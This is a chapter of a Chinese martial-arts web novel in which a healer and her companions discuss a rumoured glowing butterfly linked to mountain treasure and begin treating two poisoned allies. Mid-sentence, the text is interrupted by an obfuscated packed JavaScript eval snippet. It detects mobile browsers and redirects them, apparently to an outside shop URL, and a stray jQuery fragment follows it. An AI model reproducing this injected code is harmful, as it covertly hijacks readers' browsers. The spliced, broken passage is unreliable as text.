地独略一顿,想起自己方才在说什么,答道:“自然是月下仙。传闻这月下仙,就是神仙的灵兽,同那嫦娥抱着的玉兔,二郎神牵着的神犬,做的是一个活计。当年……”
眼瞧着地独又要从头开始讲,应无赦连忙再度打断,把重点拉回到他听出端倪的那部分,“当年何事先一放,你仔细说说月下仙下凡后的模样。”
“模样……就是全然不似凡尘之物,翩然来去,身披月光,若隐若现,抓不到够不着,还会变成浑身发光的美人。”
“变人?”应无赦记得地独先前可没说这个。
地独干笑两声,“我觉得他这句话说的没头没尾,太假,便省略了。毕竟这世上,哪能有浑身发光的人?虽说那浑身发光的蝴蝶也没见过吧,但总归听着靠谱些。”
应无赦蹙着的眉心一松,低声道:“这世上有浑身发光的蝴蝶,我见过。”
……
宁不救没想到还有这么巧合的事情,亲耳听罢地独讲的故事,又忍不住多问了句他是在何地听到这传闻的。
地独报了个地名,宁不救恰好知道这地方。此地虽也能算作在秦岭附近,但与山的距离远,更靠近繁华城镇,与她和应无赦选定的路线可谓大相径庭。
不过这月下仙……
地独瞧着宁神医这垂眼深思的模样,心里有些打鼓。对上宁不救他其实有点发怵,总会想到医不活前辈那喜怒无常的名声,很怕自己说错什么话得罪对方。
像眼下,他其实挺想出去的,可惜领他进来的老大压根没接到他的暗示,只一心也在那儿琢磨。
地独没招,眼一闭也苦思冥想起自己还有没有什么漏掉的细节,可曾在别人那里还听过这什么劳什子的月下仙。
未能想出个一二,就见宁神医起了身,从随身的包袱里翻出一个木盒,拿到他跟前。
宁不救打开盒盖,里面收着的就是先前那只蝴蝶的尸体,“你觉得,它如果亮起来,像月下仙吗?”
她虽没办法给这奇异蝴蝶延寿,但多少也养活了几天,加上在它死后及时用了点药进行处理,是以这时候仍能看出七八分原貌。
单是这七八分,就使得地独瞪大眼,呆看好一会儿,抬头第一句话便是:“你们顺路去找宝藏了?”
宁不救合上盒盖,摇头,“是这月下仙,自个儿来找了我们。”
地独满面恍然,叹出四个字:“天选之人。”
说罢,他又好奇道:“所以宝藏是什么?能说吗?凶险吗?值钱吗?真的是神仙的物件吗?”
“没有宝藏。”应无赦解释,“那月下仙没往山里飞,而是停在了神医的屋子里。”
地独一愣,旋即又禁不住看向宁不救,喃喃自语,“难道这月下仙实则是天上医圣的化身,下凡来找好苗子的?”
宁不救欲言又止。
应无赦先道:“应当不能,毕竟它死了。”
“有道理。”生死之论成功把地独的想法从神仙天宫扯回人间,但这蝴蝶模样的确奇特,他觉得月下仙的说法也有几分依据,“不过这一路上讨论宝藏的人的确不少,我还瞧见几个道上的,看着就是要往秦岭进的。这月下仙虽只听那一个人提过,但他说得有几分真,加上从前也没听过见过这种蝴蝶,也许的确跟宝藏有些关系?”
就是不知道它为什么还会追着宁神医飞。
“或许吧。”宁不救应着,“但这么多人都听说了此事,现在那里应该会很危险,还是不要掺和进去为妙。”
地独:“也是……说不准罗刹堂也去了。”
宁不救闻言眸光微动,但没再说什么,只谢过地独后让他近日少思虑,“对解毒好。”
地独重重点头,却没急着走,犹豫着问起这月下仙的事能透给赤星吗,“这事我当时是和她一起听的,她说那人净在胡扯,眼下真有这蝴蝶……”
“你拿去给她看吧。”宁不救把木盒递给他,“看完再还回来便是,直接给应无赦就行。”
话罢,屋里另外两个人齐齐怔住,地独还想解释他不是这个意思,宁不救已经把木盒放到了他手上,“去吧,眼见为实。”
地独捧着这份“沉甸甸”的信任走了,宁不救望向还在的应无赦,叮嘱道:“明天你把兔子送我这儿来吧,那毒方我推的差不多了,顺利的话,最迟后日就可以开始治。”
应无赦点头,又迟疑开口:“那蝴蝶……?”
宁不救垂下眼,听完地独说的那些她倒是有了几分猜测,这事说不好还真同她要查的有些关系,但那句劝诫也是真的,此事与应无赦他们无关,没必要牵扯进来。
“传言历来虚多实少,听听便罢了。”
“……那盒子呢?”应无赦问,“神医不是要用它做解药吗?”
“那个不急,暂时也没这么要紧。”宁不救随意道,要是做解药真的十万火急,那蝴蝶哪里还有给人看的机会。
应无赦:“那我明早给神医送回来?”
宁不救想起他今日一大早就在她房门前站着的情形,笑道:“你若明日还要来学字,捎带着拿过来便是。不过切莫再一宿不睡了,天天熬着,是要出问题的。”
应无赦有些赧然,声音也低了几分:“我记下了。”
宁不救看了眼天色,见时辰不早,便催应无赦去睡觉,只道有什么明日再说。
*
翌日依旧是个好天,这回应无赦倒没在门前杵着,但也来得挺早,进门第一件事就是把装蝴蝶的木盒还给宁不救,“昨夜地独就送来了。”
宁不救接过东西,一时倒起了些好奇心思,“你和地独是不是关系特别好?”
应无赦点头,“原先在堂里,许多人不愿与我有来往,只同地独还能说上几句。”
宁不救一噎,没想过会是这种答案,顿时歇了继续问下去的心思,好在见应无赦眉眼间也没什么难过之意,想来也是习惯了。
她拿过纸笔,没忘了先写知错能改那句,又专程讲了遍这话的意思,才把笔塞给应无赦。
应无赦抄着这些,却不似昨日专注,偶尔朝宁不救瞥去一眼,最终在纸页的末尾留下了“走神”的证据:宁不救。
起初还没觉得有什么,换到下一页纸时才隐约觉得不妥,又偷偷把挪开
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117612|187319||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的纸张挪回来,欲盖弥彰地在“宁不救”三个字前挤上自己的名字。
空隙不够,他的名字有些糊,但她的名字很清楚。
应无赦有些发愣。恰在此时听见宁不救问了句“怎么了”,又连忙摇头说没事,翻去第二页依着昨日的学习顺序把学来的字依次写了一遍。
宁不救没多心,见他的确不似有什么事便继续忙她的,赶在太阳落山前弄出了一盒粗制的药粉。
取了点用到兔子身上,见发作后的症状与已知的确实相似,宁不救又把另一粒压制的解药一分为二喂出去,确定这个也有效果后让应无赦把赤星和地独找来。
她再次确认了一遍两人情况:“赤星姑娘当时伤在左臂,地独兄弟伤在后背?”
听他们应是,她又请两人分别指了指自己当初受伤的具体位置,略略琢磨了一下,开口道:“今天起我就给你们施针,同时试验解毒的方子。先前你们说此毒会因动用内力而加剧,以防万一,这几日切莫动武,免得影响解毒效果。”
赤星:“如果不慎动用内力,会让问题更加严重吗?”
宁不救坦诚回答:“不好说,我是拿兔子试验的毒性,兔子没有内力,不能保证这方面的精准,只能尽量规避可能出现的危险。”
“宁姑娘预计解毒要用几日?”赤星转而关心起时间,“若一点不能动用内力,还是分开治的好。”
宁不救听明她的顾虑,这是怕治病过程中遇见难以应付的事。只是两人若分开治,时间拉长不说,万一这毒药再产生变化,也是新风险。
把此话挑明,赤星沉思片刻,主动道:“那先给他治吧。”
地独猛地看向她,还没来及劝就听她接着道:“他那下挨的深,可能中的毒更多,而且他用不用内力也没什么影响,更适合先治。”
地独感动的神情变得不那么感动了一点,“但罗刹堂不一定先来,也可能后到。要是白虹他们等你开治了再来,那不就是我去跟他们打了?你觉得我有几分胜算?”
“一分。”
地独一愣。
赤星抿唇,“没有。”
“……”
“你们不用顾虑这些。”应无赦开口,“罗刹堂的追杀我能应付,你们安心治病便是。”
地独:“可老大你不是还有事要做,暂时离开两日吗?”
此言一出,宁不救瞬时看向应无赦,目光里带着好奇。
应无赦察觉她视线,立时别开眼,握拳半晌,犹豫道:“那个可以往后推。”
地独虽不解怎么一夜过去他就改了主意,但也没多问,有应无赦在旁边他自然是一百个放心。当初他还是负伤状态都没问题,现在只会更没问题。
宁不救看了眼尚存顾虑的赤星,同她道:“早些治,好的也会更快。你俩今日可以先都扎上一次,看看情况再决定。”
会治病解毒的毕竟还是宁不救,听她这样说,两人皆应承下来,依着宁不救的交代各自去做准备。
一时屋里又只剩宁不救与应无赦两个,应无赦紧张地瞥着她,思量着等会儿神医问起他要去哪儿他该如何说。